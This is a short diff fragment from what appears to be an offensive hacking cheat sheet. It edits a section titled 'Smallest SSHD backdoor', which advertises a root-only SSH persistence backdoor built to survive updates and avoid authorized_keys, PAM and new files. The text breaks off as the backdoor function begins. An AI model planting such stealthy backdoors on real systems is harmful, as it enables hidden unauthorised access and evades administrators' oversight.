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skyper
2025-12-13 16:07:13 +00:00
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@@ -1800,7 +1800,11 @@ for _ in {1..10}; do [ -s .u ] && break;sleep 1;done;cat .u;rm -f .u .s;
<a id="backdoor-sshd"></a>
**6.iii. Smallest SSHD backdoor**
Adding your key to *authorized_keys* is overused 😩. Instead, use this (root only):
- Survives `apt update`
- Does not create any new file.
- Does not use `authorized_keys` or PAM.
Adding your key to *authorized_keys* is overused 😩. Instead, cut & paste this (as root):
```shell
backdoor_sshd() {